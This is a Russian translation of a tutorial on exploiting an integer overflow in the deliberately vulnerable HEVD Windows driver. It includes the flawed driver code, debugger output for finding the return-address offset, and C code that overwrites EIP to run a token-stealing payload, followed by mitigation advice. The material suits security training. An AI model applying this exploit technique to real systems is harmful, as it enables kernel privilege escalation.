Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 5 – Целочисленное переполнение

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 5 – Целочисленное переполнение

В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения.

image

Автор: Mohamed Shahat

В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения. Многое будет взято из 3 и 4 части, поэтому эта статья довольно короткая.

Код экспоита находится здесь.

Суть уязвимости

Код находится здесь.

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");

// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif

// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Как можно понять по комментариям в коде выше, мы имеем дело с обычным целочисленным переполнением, которое стало возможным из-за того, что программист не предусмотрел передачу в драйвер буфера слишком большого объема. Любой размер от 0xfffffffc до 0xffffffff позволяет обойти проверку. Обратите внимание, что операция копирования завершается, если встречается символ завершения (хотя все же должно быть 4-байтовое выравнивание). Таким образом, нам не обязательно указывать размер буфера равный тому размеру, который мы передаем.

Эксплуатация уязвимости в системах x64

Параметр InBufferSize, передаваемый в функцию DeviceIoControl, размером DWORD или 4 байта. В 64-битном драйвере по адресу HEVD!TriggerIntegerOverflow+97 выполняется следующая проверка:
fffff800`bb1c5ac7 lea r11,[r12+4]
fffff800`bb1c5acc cmp r11,r13

В коде выше происходит сравнение 64-битных регистров (префикс/суффикс для преобразования к 32-битному представлению не используется). Соответственно, регистр r11 никогда не переполнится, поскольку туда устанавливается значение 0x100000003, из чего можно сделать вывод, что данную уязвимость нельзя использовать на 64-битных машинах.

Дополнение: как оказалось, причина, по которой обработка в 64-битных архитектурах выполняется корректно, в том, что все эти значения размером size_t.

Контроль потока выполнения

Вначале нужно выяснить для регистра EIP. Необходимо отослать небольшой буфер и вычислить смещением между адресом буфера в ядре и адресом возврата:

kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add esp,24h

kd> ? 0x8ACF8274 - @esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828

Как упоминалось ранее, нам нужно иметь завершающее значение, выровненное по 4 байтам, иначе будет учитываться параметр Size, что в конечном итоге приведет к чтению вне пределов буфера и возможным ошибкам доступа.
Теперь мы знаем, что инструкция RET находится по смещению 2088. Соответственно, завершающее значение должно находиться по смещению 2088 + 4.

char* uBuffer = (char*)VirtualAlloc(
NULL,
2088 + 4 + 4, // EIP offset + 4 bytes for EIP + 4 bytes for terminator
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');

// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;

// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);

Того кода, который показан выше, вполне достаточно! В конце полезной нагрузки StealToken необходимо восполнить недостающий фрейм стека посредством вызова оставшихся инструкций (эта тема подробно рассматривалась в третьей части).
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly

Рисунок 1: Демонстрация работы эксплоита

Полная версия эксплоита находится здесь.

Защита от уязвимости

  1. Уделяйте особое внимание участкам кода, где присутствуют арифметические операции (особенно, если данные, участвующие в этих операциях, приходят со стороны пользователя). Проверяйте, не выходят ли результаты операций, за пределы нижней/верхней границы.
  2. Используйте целочисленный тип, которых хранит все вероятные результаты сложения. Хотя подобное не всегда возможно.

Кроме того, полезно ознакомиться с классом SafeInt.

Резюме

  1. Данная уязвимость не пригодна к эксплуатации в 64-битных системах из-за метода проверки двух 64-битных регистров. Максимальное значение, передаваемое в функцию DeviceIoControl, никогда не будет переполнено.
  2. Передаваемый буфер должен содержать 4-байтовое завершающее значение. Этот трюк является самым простым при конструировании полезной нагрузки, которая должна удовлетворять определенным критериям.
  3. Хотя наш буфер не очень большого размера, оповещение драйвера о ложном размере все равно возможно.

Подписывайтесь на каналы "SecurityLab" в TelegramTelegram и TwitterTwitter, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.